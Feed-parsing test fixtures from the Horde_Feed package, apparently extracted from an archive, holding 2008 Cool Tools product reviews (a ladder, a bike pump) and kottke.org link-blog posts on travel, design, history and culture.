<p>Multi-Use Car Charger<br /> $16<br /> Available from <a href="http://www.amazon.com/gp/product/B000PB8CQI/ref=nosim/kkorg-20">Amazon</a></p> <p><br /> <em><strong>Related items previously reviewed in Cool Tools:</strong></em></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="anderson-powerpoles-sm2.jpg" src="http://www.kk.org/cooltools/anderson-powerpoles-sm2.jpg" width="74" height="59" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001349.php">Anderson Powerpoles</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="kwik_usb-sm2.jpg" src="http://www.kk.org/cooltools/kwik_usb-sm2.jpg" width="75" height="51" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001699.php">kwikSynCh Dual USB Charger</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="vehicle_expedition-sm2.jpg" src="http://www.kk.org/cooltools/vehicle_expedition-sm2.jpg" width="57" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000872.php">Vehicle-Dependent Expedition Guide</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=vmjbiJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=vmjbiJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=sleyHJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=sleyHJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=oiACAJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=oiACAJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/326738425" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/326738425/002924.php http://www.kk.org/cooltools/archives/002924.php Living on the Road Fri, 04 Jul 2008 08:48:15 -0800 http://www.kk.org/cooltools/archives/002924.php Werner Combination Step/Extension Ladder <img src="http://www.kk.org/cooltools/werner-ladder-sm.jpg" /> <p>This is the only big ladder I own. It works great as an extension ladder for painting, cleaning the gutters or reaching any of those high places. Like the <a href="http://www.youtube.com/watch?v=6ZhMfzc9RbU">Little Gorilla</a>, it can be re-configured as a step ladder, so you can use it anywhere there is no wall to lean against. But like the previously-reviewed <a href="http://www.kk.org/cooltools/archives/002035.php">Green Bull Double Front Ladder</a>, this ladder also has steps on both sides, allowing two painters to work at the same time (the max capacity is 375 lbs). The Werner definitely offers the best of both worlds. More expensive, yes. But surprisingly lightweight for a ladder this strong. I've had mine for more than 10 years with no sign of wear or tear. My dad is still using the one he bought in the '70s. </p> <p>-- Dan McCulley</p> <p>Werner Combination Step/Extension Ladder<br /> $322<br /> (8ft.)<br /> Available from <a href="http://www.amazon.com/dp/B00004RKDE/ref=nosim/kkorg-20">Amazon</a></p> <p>Manufactured by <a href="http://www.wernerladder.com/catalog/details.php?series_id=310">Werner</a></p> <p><br /> <strong><em>Related items previously reviewed in Cool Tools:</em></strong></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="ladder_leveler-sm2.jpg" src="http://www.kk.org/cooltools/ladder_leveler-sm2.jpg" width="57" height="74" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001268.php">Ladder Levelers</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="deepstepladder-sm2.jpg" src="http://www.kk.org/cooltools/deepstepladder-sm2.jpg" width="60" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001635.php">Deep-Step Safety Ladder</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="access-all-areas-sm2.jpg" src="http://www.kk.org/cooltools/access-all-areas-sm2.jpg" width="56" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001279.php">Access All Areas</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=1bJDZJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=1bJDZJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=4XYQxJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=4XYQxJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=UO5LKJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=UO5LKJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/325737778" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/325737778/002920.php http://www.kk.org/cooltools/archives/002920.php Homestead Thu, 03 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002920.php Topeak Turbo Morph Bike Pump <img src="http://www.kk.org/cooltools/topeak-pump-folded-sm.jpg" /> <p>The Topeak Turbo Morph is a lightweight frame pump that functions like a floor pump. It has a fold-out anchor for your foot, and the handle also flips sideways into a T-shape. It's also got a hose, so you can easily inflate the tire while it's mounted on the bike. Before getting the Turbo Morph about two years ago, I had a tiny frame pump that was just this side of useless. Most portable bicycle pumps are designed to be used exclusively with your arms/hands. Since they attach directly to the tire, they're cumbersome to use and difficult to get to the full tire pressure. Contrast this to the floor pump in your garage. You anchor it with your feet and use your body weight to power it. Unfortunately, they are also too large to easily carry with you. I tried another "mini foot pump" before the Topeak, but it wouldn't quite work with a Presta adapter. With my other frame pumps, I'd spend more time inflating the tire than I would fixing it, and it would be hard getting the thing past 60 PSI. With this pump, I can get the tire to its full 120 PSI in just a couple of minutes. I have the G model, which has a built-in gauge. More convenient to have a gauge on the pump than to have to carry a separate one. But if you've already got a gauge, then you probably won't want the gauge version. I have puncture-resistant tires, but the key word is "resistant." I still wind up getting a flat a couple times a year. This is well worth carrying.</p> <p>-- Joe D.</p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="topeak-pump-sm.jpg" src="http://www.kk.org/cooltools/topeak-pump-sm.jpg" width="156" height="229" class="mt-image-none" style="" /></span></p> <p>Topeak Turbo Morph Bike Pump<br /> $29<br /> (w/gauge)<br /> Available from <a href="http://www.amazon.com/dp/B000FIE4PO/ref=nosim/kkorg-20">Amazon</a></p> <p>Manufactured by <a href="http://www.topeak.com/">Topeak</a></p> <p><br /> <strong><em>Related items previously reviewed in Cool Tools:</em></strong></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="ecoblast-sm2.jpg" src="http://www.kk.org/cooltools/ecoblast-sm2.jpg" width="75" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000647.php">EcoBlast</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="topeakmini-sm2.jpg" src="http://www.kk.org/cooltools/topeakmini-sm2.jpg" width="75" height="39" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/002679.php">Topeak Mini 6</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="reair-sm2.jpg" src="http://www.kk.org/cooltools/reair-sm2.jpg" width="78" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000565.php">ReAir Duster</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=pDHejJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=pDHejJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=5CZG6J"><img src="http://feeds.feedburner.com/~f/CoolTools?i=5CZG6J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=haubKJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=haubKJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/324838447" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/324838447/002916.php http://www.kk.org/cooltools/archives/002916.php Autonomous Motion Wed, 02 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002916.php Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.kottke.org-index.rdf0000664000175000017500000011504212653701626025506 0ustar janjan kottke.org http://www.kottke.org/ Jason Kottke's weblog, home of fine hypertext products en-us jason@kottke.org (Jason Kottke) http://creativecommons.org/licenses/by-sa/1.0 Tue, 22 Jul 2008 11:55:04 EDT http://www.movabletype.org/?v=3.2 jason@kottke.org (Jason Kottke) 30 The PopTech blog rounds up some interesting wind turbine designs. I'm The PopTech blog rounds up some interesting wind turbine designs. I'm particularly intrigued by the placement of turbines on or near highways. One of the knocks against wind farms is that they disrupt the natural landscape...placing wind turbines along highways would somewhat alleviate that problem. Oobject houses a collection of beautiful wind turbines.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16099.html http://www.kottke.org/remainder/08/07/16099.html Tue, 22 Jul 2008 11:29:49 -0500 jason@kottke.org     Booking passage on a cargo ship is an easy and unusual Booking passage on a cargo ship is an easy and unusual way to travel.

    Most of the major global shipping lines CMA-CGM, Canada Maritime, and Bank Line offer paying passengers to hop on one of their lines. As a paying passenger you are accommodated in guest cabins and have access to most areas of the ship.

    Captains and crew spend a lot of time on the water, and they are usually happy to have a fresh face walking around their workplace, meaning that they may even invite you to eat with them, give you tours of the ship and maybe even have you over for an Officer's happy hour.

    You'd think it would be cheap but tickets can run you more than airfare...$80-140 per day, meals & lodging included.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16098.html http://www.kottke.org/remainder/08/07/16098.html Tue, 22 Jul 2008 10:20:29 -0500 jason@kottke.org     Photos of Mike Tyson's abandoned mansion. What an odd house. Half Photos of Mike Tyson's abandoned mansion. What an odd house. Half of it is bathrooms & an indoor pool and looks like it was designed by Homer Simpson.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16097.html http://www.kottke.org/remainder/08/07/16097.html Tue, 22 Jul 2008 09:10:31 -0500 jason@kottke.org     See if this makes any sense out of context: hay hotels See if this makes any sense out of context: hay hotels in the Lederhosen belt.

    The hay is from the second harvest rather than the first -- it's softer -- and it gets changed once or twice a year. Meanwhile there's strictly no smoking and there isn't a hospital corner in sight: making the bed means fluffing up the hay with a pitchfork.

    Read on if you're still confused.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16096.html http://www.kottke.org/remainder/08/07/16096.html Mon, 21 Jul 2008 22:39:40 -0500 jason@kottke.org     The pogo stick in named after a Burmese farm girl? As The pogo stick in named after a Burmese farm girl?

    As legend has it, an American traveler named George Hansburg was making his way through Burma when he made the acquaintance of a poor farmer. The farmer's daughter was named Pogo, and Pogo -- devout little girl that she was -- wanted to go to temple every day to pray, but couldn't because she had no shoes to wear for the long walk through the mud and rocks. So the poor farmer built a jumping stick for her, and Pogo's daily temple bounce-trips through the mud and over the rocks ensued. When the impressed traveler returned home, he made a jumping stick of his own, attaching a spring to the wooden stick contraption that the farmer had introduced him to.
    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16090.html http://www.kottke.org/remainder/08/07/16090.html Mon, 21 Jul 2008 18:55:07 -0500 jason@kottke.org     The Disadvantages of an Elite Education, nutshelled: you have no idea The Disadvantages of an Elite Education, nutshelled: you have no idea how most of the rest of the world works.

    The first disadvantage of an elite education, as I learned in my kitchen that day, is that it makes you incapable of talking to people who aren't like you. Elite schools pride themselves on their diversity, but that diversity is almost entirely a matter of ethnicity and race. With respect to class, these schools are largely-indeed increasingly-homogeneous. Visit any elite campus in our great nation and you can thrill to the heartwarming spectacle of the children of white businesspeople and professionals studying and playing alongside the children of black, Asian, and Latino businesspeople and professionals. At the same time, because these schools tend to cultivate liberal attitudes, they leave their students in the paradoxical position of wanting to advocate on behalf of the working class while being unable to hold a simple conversation with anyone in it.

    (via lone gunman)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16094.html http://www.kottke.org/remainder/08/07/16094.html Mon, 21 Jul 2008 17:49:02 -0500 jason@kottke.org     ● Lego Stephen Hawking Lego Stephen Hawking

    More at Brickshelf.

    ]]>     http://www.kottke.org/08/07/lego-stephen-hawking http://www.kottke.org/08/07/lego-stephen-hawking Mon, 21 Jul 2008 15:55:37 -0500 jason@kottke.org     Lovely visual essay of how a residential driveway became a nice Lovely visual essay of how a residential driveway became a nice green area, even after the city objected.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16092.html http://www.kottke.org/remainder/08/07/16092.html Mon, 21 Jul 2008 14:55:24 -0500 jason@kottke.org     Working in the BBC's Radiophonic Workshop, Delia Derbyshire penned the Doctor Working in the BBC's Radiophonic Workshop, Delia Derbyshire penned the Doctor Who theme song in 1963 but also came up with a piece of electronica in the late 60s that sounds like it was recorded in the mid-90s.

    Ms Derbyshire was well-known for favouring the use of a green metal lampshade as a musical instrument and said she took some of her inspiration from the sound of air raid sirens, which she heard growing up in Coventry in the Second World War.

    (via overstated)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16091.html http://www.kottke.org/remainder/08/07/16091.html Mon, 21 Jul 2008 13:38:22 -0500 jason@kottke.org     Twitter is broken for me so I'm going to be using Twitter is broken for me so I'm going to be using this text file until it starts working again. If any friends want their updates included in my text file, please send me an email.

    Update: The Jason's Update Page social internet web site now has an API. Full documentation here.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16095.html http://www.kottke.org/remainder/08/07/16095.html Mon, 21 Jul 2008 12:20:11 -0500 jason@kottke.org     Most of the town of Baarle-Hertog is in Belgium but some Most of the town of Baarle-Hertog is in Belgium but some spots are in the Netherlands, sprinkled into the Belgian majority like chocolate chips, not divided neatly by a line.

    The border is so complicated that there are some houses that are divided between the two countries. There was a time when according to Dutch laws restaurants had to close earlier. For some restaurants on the border it meant that the clients simply had to change their tables to the Belgian side.
    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16089.html http://www.kottke.org/remainder/08/07/16089.html Mon, 21 Jul 2008 11:51:10 -0500 jason@kottke.org     For millennia, Martin Wattenberg's Name Voyager has been the gold standard For millennia, Martin Wattenberg's Name Voyager has been the gold standard in cool baby name web doohickeys. No longer...NameTrends gives it a serious run for its money. Lots of slicing and dicing of data going on there. Plus, popularity sparklines.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16088.html http://www.kottke.org/remainder/08/07/16088.html Mon, 21 Jul 2008 11:14:29 -0500 jason@kottke.org     NY Times columnist David Carr has written a book about his NY Times columnist David Carr has written a book about his days as a junkie who cleaned himself up only when twin daughters came into his life. The Times has a lengthy excerpt; it's possibly the best thing I've read all week.

    If I said I was a fat thug who beat up women and sold bad coke, would you like my story? What if instead I wrote that I was a recovered addict who obtained sole custody of my twin girls, got us off welfare and raised them by myself, even though I had a little touch of cancer? Now we're talking. Both are equally true, but as a member of a self-interpreting species, one that fights to keep disharmony at a remove, I'm inclined to mention my tenderhearted attentions as a single parent before I get around to the fact that I hit their mother when we were together. We tell ourselves that we lie to protect others, but the self usually comes out looking damn good in the process.

    Carr's book is not the conventional memoir. Instead of relying on his spotty memory from his time as a junkie, he went out and interviewed his family, friends, enemies, and others who knew him at the time to get a more complete picture.

    A former colleague interviewed Carr two years ago in Rake Magazine. (via vsl)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16087.html http://www.kottke.org/remainder/08/07/16087.html Fri, 18 Jul 2008 18:57:25 -0500 jason@kottke.org     The logo for A.G. Low Construction is the best one I've The logo for A.G. Low Construction is the best one I've seen in awhile.

    A.G. Low Logo

    Nice work by design student Rebecca Low, who I'm assuming is related to the A.G. Low in question. (via monoscope)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16086.html http://www.kottke.org/remainder/08/07/16086.html Fri, 18 Jul 2008 17:35:39 -0500 jason@kottke.org     A list of fourteen passive-aggressive appetizers for your next dinner party. A list of fourteen passive-aggressive appetizers for your next dinner party.

    Another one for the vegetarians. If they think they like tofu, wait until they sample your delicious mock tofu -- all you need is chicken fat, puréed pork loin, and five cups of piping-hot tallow. Cheryl will never know the difference.

    (via snarkmarket)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16085.html http://www.kottke.org/remainder/08/07/16085.html Fri, 18 Jul 2008 16:28:00 -0500 jason@kottke.org     I dunno, ketchup-flavored potato chips? I dunno, ketchup-flavored potato chips?

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16080.html http://www.kottke.org/remainder/08/07/16080.html Fri, 18 Jul 2008 15:03:59 -0500 jason@kottke.org     Ben Fry analyzes the data from an intelligence test administered to Ben Fry analyzes the data from an intelligence test administered to all incoming NFL players and displays the results by position. Offensive players do better than defensive players on the test, although running backs score the lowest (wide receivers and cornerbacks also don't do well). As Michael Lewis suggested in The Blind Side, offensive tackles are the smartest players on the field, followed by the centers and then the quarterbacks.

    Malcolm Gladwell talked about the Wonderlic test at the New Yorker Conference and judged it a poor indicator of future performance.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16084.html http://www.kottke.org/remainder/08/07/16084.html Fri, 18 Jul 2008 14:12:38 -0500 jason@kottke.org     ● Old iPhone price check on eBay Before the iPhone 3G came out last month, I wrote about how valuable the old iPhone still was.

    A quick search reveals that used & unlocked 8Gb iPhones are going for ~$400 and 16Gb for upwards of $500, with never-opened phones going for even more.

    I just checked eBay again and those prices are down only slightly. Never-opened unlocked iPhones are still fetching $400-500 and somewhat less for previously used phones. If you've purchased an iPhone 3G in the past few days, you still have an excellent shot at getting most of your money back from your first phone (provided you can get it unlocked, which isn't difficult).

    I also checked the prices for unlocked iPhone 3Gs...prices are upwards of $1400 for the 16GB model. The unlocked claim is somewhat dubious. AFAIK, there hasn't been a crack released yet although it's been reported that the 3Gs are being sold unlocked in Italy and Hong Kong.

    Update: The 3G has been cracked.

    ]]>     http://www.kottke.org/08/07/old-iphone-price-check-on-ebay http://www.kottke.org/08/07/old-iphone-price-check-on-ebay Fri, 18 Jul 2008 12:42:23 -0500 jason@kottke.org     After publishing his first book, Mark Hurst offers some tips for After publishing his first book, Mark Hurst offers some tips for would-be authors, painting a not-so-rosy picture of the publishing industry in the process.

    You may see now the author's dilemma. Publishers and bookstores are in it for the money. But you, the author, can't be in it for the money - it doesn't pay enough. You should write a book because you believe in it. And that's the trouble: what you love isn't necessarily what publishers believe will sell. If you can find a topic that you love and that will sell in the market, well then, go forth and type. You're one of the lucky ones.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16082.html http://www.kottke.org/remainder/08/07/16082.html Fri, 18 Jul 2008 11:52:15 -0500 jason@kottke.org     Spike Jonze's Where the Wild Things Are might be in trouble. Spike Jonze's Where the Wild Things Are might be in trouble. It was originally due out in October, got pushed back to fall 2009, and has now been taken off of the Warner Bros. release schedule. But not all is lost...here's what Warner had to say about it:

    We've given him more money and, even more importantly, more time for him to work on the film," Horn said. "We'd like to find a common ground that represents Spike's vision but still offers a film that really delivers for a broad-based audience. We obviously still have a challenge on our hands. But I wouldn't call it a problem, simply a challenge. No one wants to turn this into a bland, sanitized studio movie. This is a very special piece of material and we're just trying to get it right.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16081.html http://www.kottke.org/remainder/08/07/16081.html Fri, 18 Jul 2008 10:49:07 -0500 jason@kottke.org     A philosophical zombie is "a hypothetical being that is indistinguishable from A philosophical zombie is "a hypothetical being that is indistinguishable from a normal human being except that it lacks conscious experience, qualia, sentience, or sapience". Is this what White Zombie was on about in More Human Than Human? (via me, apparently)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16079.html http://www.kottke.org/remainder/08/07/16079.html Fri, 18 Jul 2008 10:03:07 -0500 jason@kottke.org     From what I can gather from these portraits, librarians are white, From what I can gather from these portraits, librarians are white, bearded if male, and have glasses.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16078.html http://www.kottke.org/remainder/08/07/16078.html Fri, 18 Jul 2008 08:42:27 -0500 jason@kottke.org     The world's most funnest iPhone game productivity app is Hold-On. To The world's most funnest iPhone game productivity app is Hold-On. To play, hold the button on the screen as long as you can. (via andre)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16077.html http://www.kottke.org/remainder/08/07/16077.html Thu, 17 Jul 2008 18:41:45 -0500 jason@kottke.org     A list of the fictional films referred to in Seinfeld. (thx, A list of the fictional films referred to in Seinfeld. (thx, nicholas)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16074.html http://www.kottke.org/remainder/08/07/16074.html Thu, 17 Jul 2008 17:40:43 -0500 jason@kottke.org     The money brought in due to Beatlemania funded the research that The money brought in due to Beatlemania funded the research that led to the CAT scanning machine. (via gawker lite)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16076.html http://www.kottke.org/remainder/08/07/16076.html Thu, 17 Jul 2008 16:15:43 -0500 jason@kottke.org     Caroline Kininmonth runs a restaurant in Australia that doesn't serve food. Caroline Kininmonth runs a restaurant in Australia that doesn't serve food. The place is BYOF and donations are accepted in a box next to the front door. (thx, john)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16075.html http://www.kottke.org/remainder/08/07/16075.html Thu, 17 Jul 2008 14:55:03 -0500 jason@kottke.org     Another Wikipedia gem: a list of unsolved problems from a number Another Wikipedia gem: a list of unsolved problems from a number of different fields, including linguistics, physics, and computer science. (via lone gunman)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16073.html http://www.kottke.org/remainder/08/07/16073.html Thu, 17 Jul 2008 13:46:07 -0500 jason@kottke.org     Make new stuff look old with the Making Memories Distressing Kit. Make new stuff look old with the Making Memories Distressing Kit.

    Designed to use on everything from paper to embellishments this distressing kit is the first and only of its kind. Kit includes: sanding block with three grits steel wool-2 pads emery board-3 boards each with different grit stipple brush foam brushes 1 and 2 wide chalk-3 colors ink sponges-3 colors exclusive edge scraper bone folder aging dye-2 single use pouches paint comb pounce wheel chalk brushes-3 sandpaper-3 sheets (1 each of fine medium and coarse grit). It's compact portable and stocked to the hilt with all the tools you'll need to sand scrape stipple and sponge your way to shabby chicness.

    Jessica Helfand has some thoughts on making the new look old.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16072.html http://www.kottke.org/remainder/08/07/16072.html Thu, 17 Jul 2008 12:36:12 -0500 jason@kottke.org     Steven Heller asked a bunch of designers and illustrators to re-imagine Steven Heller asked a bunch of designers and illustrators to re-imagine the lapel pin for Barack Obama.

    Since Mr. Obama promotes himself as the candidate of change, maybe he should start wearing a different kind of lapel pin that signals his patriotism as well as other values he wants to communicate.

    One fellow suggests ripping his lapels off and thereby skirting the whole pin issue. (via design observer)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16071.html http://www.kottke.org/remainder/08/07/16071.html Thu, 17 Jul 2008 11:44:57 -0500 jason@kottke.org     They're making a fourth Terminator movie with Christian Bale? Although I They're making a fourth Terminator movie with Christian Bale? Although I didn't actually mind the third one so bring it on, I guess. (via goldenfiddle)

    Update: McG is directing? I take it back...put it back in the can. Also, Joseph, isn't it time to stop using that name?

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16070.html http://www.kottke.org/remainder/08/07/16070.html Thu, 17 Jul 2008 11:04:15 -0500 jason@kottke.org     Since repeatedly spelling out proper names in sign language is time Since repeatedly spelling out proper names in sign language is time consuming, signers give people "sign names" that are faster to do.

    When a sign name is given to you, it's special. A bit like losing your deaf virginity. It's thought up after an intense period of observation, when people have worked out firstly whether they like you enough to give you one (a sign name, that is), and they've taken all your habits and mannerisms into account to find a name that best sums you up.

    (via lone gunman)

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16069.html http://www.kottke.org/remainder/08/07/16069.html Wed, 16 Jul 2008 18:32:41 -0500 jason@kottke.org     The NYC subway system's unlimited-ride MetroCard turned ten years old this The NYC subway system's unlimited-ride MetroCard turned ten years old this month.

    "I think it's absolutely changed travel habits in the New York region, and it's been a boon for the economy as well," said Andrew Albert, who represents transit riders on the board of the Metropolitan Transportation Authority. "Where once you might have used it more sparingly because you had a finite number of trips, you're more likely to take a trip during your lunch break, go shopping perhaps or go to dinner somewhere," he said.

    On average, unlimited-ride MetroCard users take 56 trips per month (~$1.45 per trip), although some take many more or less. (via buzzfeed)

    Update: Mike Frumin notes that the Times excluded from their graph an important piece of information: the break-even point of the 30-day MetroCard. I used to get a monthly card but now pay by the ride because I don't take the subway everyday anymore and would therefore find myself in Frumin's "losing $$$$$" zone.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16068.html http://www.kottke.org/remainder/08/07/16068.html Wed, 16 Jul 2008 17:06:29 -0500 jason@kottke.org     That string of typographic symbols that substitute for swearing in cartoons? That string of typographic symbols that substitute for swearing in cartoons? It's called a grawlix.

    The term is grawlix, and it looks to have been coined by Beetle Bailey cartoonist Mort Walker around 1964. Though it's yet to gain admission to the Oxford English Dictionary, OED Editor-at-Large Jesse Sheidlower describes it as "undeniably useful, certainly a word, and one that I'd love to see used more."

    Well, @#$%&?!, that's cool.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16067.html http://www.kottke.org/remainder/08/07/16067.html Wed, 16 Jul 2008 15:54:53 -0500 jason@kottke.org     ● The most beautiful suicide On May 1, 1947, Evelyn McHale leapt to her death from the observation deck of the Empire State Building. Photographer Robert Wiles took a photo of McHale a few minutes after her death.

    Evelyn Mchale by Robert Wiles

    The photo ran a couple of weeks later in Life magazine accompanied by the following caption:

    On May Day, just after leaving her fiancé, 23-year-old Evelyn McHale wrote a note. 'He is much better off without me ... I wouldn't make a good wife for anybody,' ... Then she crossed it out. She went to the observation platform of the Empire State Building. Through the mist she gazed at the street, 86 floors below. Then she jumped. In her desperate determination she leaped clear of the setbacks and hit a United Nations limousine parked at the curb. Across the street photography student Robert Wiles heard an explosive crash. Just four minutes after Evelyn McHale's death Wiles got this picture of death's violence and its composure.

    From McHale's NY Times obituary, Empire State Ends Life of Girl, 20:

    At 10:40 A. M., Patrolman John Morrissey of Traffic C, directing traffic at Thirty-fourth Street and Fifth Avenue, noticed a swirling white scarf floating down from the upper floors of the Empire State. A moment later he heard a crash that sounded like an explosion. He saw a crowd converge in Thirty-third Street.

    Two hundred feet west of Fifth Avenue, Miss McHale's body landed atop the car. The impact stove in the metal roof and shattered the car's windows. The driver was in a near-by drug store, thereby escaping death or serious injury.

    On the observation deck, Detective Frank Murray of the West Thirtieth Street station, found Miss McHale's gray cloth coat, her pocketbook with several dollars and the note, and a make-up kit filled with family pictures.

    The serenity of McHale's body amidst the crumpled wreckage it caused is astounding. Years later, Andy Warhol appropriated Wiles' photography for a print called Suicide (Fallen Body), but I can't find a copy of it anywhere online. Anyone?

    Update: A not-so-great representation of Warhol's version of this photograph is available at Google Books. (thx, ruben)

    Update: Here's a better photo of Warhol's print. (thx, lots of people)

    ]]>     http://www.kottke.org/08/07/the-most-beautiful-suicide http://www.kottke.org/08/07/the-most-beautiful-suicide Wed, 16 Jul 2008 14:49:21 -0500 jason@kottke.org     A cross-country Amtrak travelogue. The trip is not without its charms A cross-country Amtrak travelogue. The trip is not without its charms but overall sounds like torture.

    A raspy-voiced woman in her 40s, one of the engineers, calls down from the cab and invites a few of us to come take a look. Without hesitation we clamber up. She tells us that they're off duty, as her partner, a mustachioed, red-faced man with faded tattoos, nods. When engineers hit their driving quota, apparently, they're done. It's an unbendable rule. "They knew, though," the woman says, speaking of Amtrak. "They should have had someone here." So this could've been prevented? "Oh yeah," the man says, "but leave it to them and they'll fuck it up." And so we wait, in the middle of nowhere, for new engineers. After a couple of hours a truck pulls up with the new drivers.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16065.html http://www.kottke.org/remainder/08/07/16065.html Wed, 16 Jul 2008 13:45:31 -0500 jason@kottke.org     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.kottke.org-index.xml0000664000175000017500000011504212653701626025533 0ustar janjan kottke.org http://www.kottke.org/ Jason Kottke's weblog, home of fine hypertext products en-us jason@kottke.org (Jason Kottke) http://creativecommons.org/licenses/by-sa/1.0 Tue, 22 Jul 2008 11:55:06 EDT http://www.movabletype.org/?v=3.2 jason@kottke.org (Jason Kottke) 30 The PopTech blog rounds up some interesting wind turbine designs. I'm The PopTech blog rounds up some interesting wind turbine designs. I'm particularly intrigued by the placement of turbines on or near highways. One of the knocks against wind farms is that they disrupt the natural landscape...placing wind turbines along highways would somewhat alleviate that problem. Oobject houses a collection of beautiful wind turbines.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16099.html http://www.kottke.org/remainder/08/07/16099.html Tue, 22 Jul 2008 11:29:49 -0500 jason@kottke.org     Booking passage on a cargo ship is an easy and unusual Booking passage on a cargo ship is an easy and unusual way to travel.

    Most of the major global shipping lines CMA-CGM, Canada Maritime, and Bank Line offer paying passengers to hop on one of their lines. As a paying passenger you are accommodated in guest cabins and have access to most areas of the ship.

    Captains and crew spend a lot of time on the water, and they are usually happy to have a fresh face walking around their workplace, meaning that they may even invite you to eat with them, give you tours of the ship and maybe even have you over for an Officer's happy hour.

    You'd think it would be cheap but tickets can run you more than airfare...$80-140 per day, meals & lodging included.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16098.html http://www.kottke.org/remainder/08/07/16098.html Tue, 22 Jul 2008 10:20:29 -0500 jason@kottke.org     Photos of Mike Tyson's abandoned mansion. What an odd house. Half Photos of Mike Tyson's abandoned mansion. What an odd house. Half of it is bathrooms & an indoor pool and looks like it was designed by Homer Simpson.

    ]]>link)]]>     http://www.kottke.org/remainder/08/07/16097.html http://www.kottke.org/remainder/08/07/16097.html Tue, 22 Jul 2008 09:10:31 -0500 jason@kottke.org     See if this makes any sense out of context: hay hotels See if this makes any sense out of context: hay hotels in the Lederhosen belt.

    The hay is from the second harvest rather than the first -- it's softer -- and it gets changed once or twice a year. Meanwhile there's strictly no smoking and there isn't a hospital corner in sight: making the bed means fluffing up the hay with a pitchfork.

    Read on if you're still confused.

